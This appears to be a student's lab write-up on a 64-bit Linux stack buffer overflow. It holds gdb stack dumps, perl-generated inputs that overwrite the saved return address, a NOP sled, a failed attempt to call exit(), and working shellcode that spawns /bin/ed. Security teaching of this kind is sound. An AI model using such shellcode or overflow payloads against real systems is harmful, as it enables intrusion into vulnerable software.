Gustaf Nilstadius

Assignment 2
64bit Linux machine /w intel

After you compile your program, run it inside a debugger and enter a long enough input resulting in program crash due to an overwritten return address. After the crash, the program stops in the debugger and the EIP register (resp. RIP for the 64-bit mode) will contain a portion of the input. Another portion of the input should be visible in EBP (resp. RBP). Draw the stack frame layout so it is evident where the buffer is allocated, where resides the return address, the input parameters, etc. (1 point)

```
Input script : perl -e 'print "A"x16;'

0x7fffffffdd00:   0xffffde08  0x00007fff  0x00400490  0x00000001
0x7fffffffdd10:   0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20:   0x00000000- 0x00000000- 0xf7a36ec5* 0x00007fff*
* = return address,
- = ebp

Saved registers:
  rbp at 0x7fffffffdd20, rip at 0x7fffffffdd28
```

To make the program crash on return the input must be at least 25 bytes.

```
Input script : perl -e 'print "A"x25;'
x/12x $rsp
0x7fffffffdd00:   0xffffde08  0x00007fff  0x00400490  0x00000001
0x7fffffffdd10:   0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20:   0x41414141  0x41414141  0xf7a30041  0x00007fff
```

This has overwritten one byte of the saved rip (return address). This will cause the program to crash in best case or may find executable code at the new address and continue executing.

*A portion of the input that ended in EIP allows you to determine the address where the program attempted to return; if it was valid, the program would return to that address and the code present there would get executed. The easiest way to exploit this is, if at all possible, to return the control to a location on the stack located inside the buffer. The EIP on the stack will get overwritten with an address pointing somewhere inside the buffer. If you cannot point EIP precisely, write enough nop instructions (machine code 0x90) before the exploit code so that the execution slides by these nops and eventually reaches the exploit — this is a *nop sled* method. (2 points)*

```
Input script : perl -e 'print "\x90"x24 . "\x10\xdd\xff\xff" . "\xff\x7f";'
x/12x $rsp
0x7fffffffdd00:   0xffffde08  0x00007fff  0x00400490  0x00000001
0x7fffffffdd10:   0x90909090  0x90909090  0x90909090  0x90909090<--|
0x7fffffffdd20:   0x90909090  0x90909090  0xffffdd10  0x00007fff>--|
Saved registers:
  rbp at 0x7fffffffdd20, rip at 0x7fffffffdd28
```

The saved rip (return address) is now pointing at 0x7fffffffdd10.
There is NOP instructions from 0x7fffffffdd10 to 0x7fffffffdd28.

```
x/5i $rip
=> 0x4005bd <main+64>:  mov    eax,0x0
   0x4005c2 <main+69>:  leave
   0x4005c3 <main+70>:  ret
   0x4005c4:      nop    WORD PTR cs:[rax+rax*1+0x0]
```

Gustaf Nilstadius

```
   0x4005ce:      xchg   ax,ax
(gdb) nexti
8     }
(gdb) nexti
0x00000000004005c3      8     }
(gdb) nexti
0x00007fffffffdd10 in ?? ()
(gdb) x/5i $rip
=> 0x7fffffffdd10:      nop
   0x7fffffffdd11:      nop
   0x7fffffffdd12:      nop
   0x7fffffffdd13:      nop
   0x7fffffffdd14:      nop
```

Note that the injected code does not pass through the dynamic loader so it is not possible to call system functions in the traditional way by using call exec. You can, however, use call eax (resp. call rax), where the eax register will point to an address of the desired function such as 0x12345678. If the address of the exec function were 0x12345678, it would be executed. You can set the address either by hard-coding it or by looking up another call in the program binary and copying the address. Find an address of a system function that you would use for your exploit and describe the way you went about it (2 points).

```
Trying to run exit(1);
With exitcode 4.
exit() is located at 0x00007ffff7a51290
This address was retrieved by:
(gdb) disassemble exit
Dump of assembler code for function __GI_exit:
   0x00007ffff7a51290 <+0>:   lea    rsi,[rip+0x382431]        # 0x7ffff7dd36c8
<__exit_funcs>
   0x00007ffff7a51297 <+7>:   sub    rsp,0x8
   0x00007ffff7a5129b <+11>:  mov    edx,0x1
   0x00007ffff7a512a0 <+16>:  call   0x7ffff7a51180 <__run_exit_handlers>
End of assembler dump.
```

I was unable to succeed in calling the function. The generator script i used:

```
perl -e 'print "\x90"x24 . "\xc0\xdd\xff\xff" . "\xff\x7f\x00\x00" .
"\x90"x400 . "\x05\x8b\x48\x01" .
"\x90\x12\xa5\xf7\xff\x7f\x00\x00"."\xbf\x04\x00\x00\x00\xff\xd0";' > /tmp/input
```

As mentioned, this was not successful.

D*esign an exploit that e.g. runs calc.exe or shows a message box. (3 points). You can get some inspiration from the Project Metasploit.*

Inspiration from: https://github.com/emptymonkey/drinkme
Executes Ed - The GNU line editor.

```
perl -e 'print "\x90"x24 . "\xc0\xdd\xff\xff" . "\xff\x7f\x00\x00" .
"\x90"x400 .
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x65\x64\x48\xc1\xeb\x08\x53\x48\x8
9\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";' > /tmp/input
```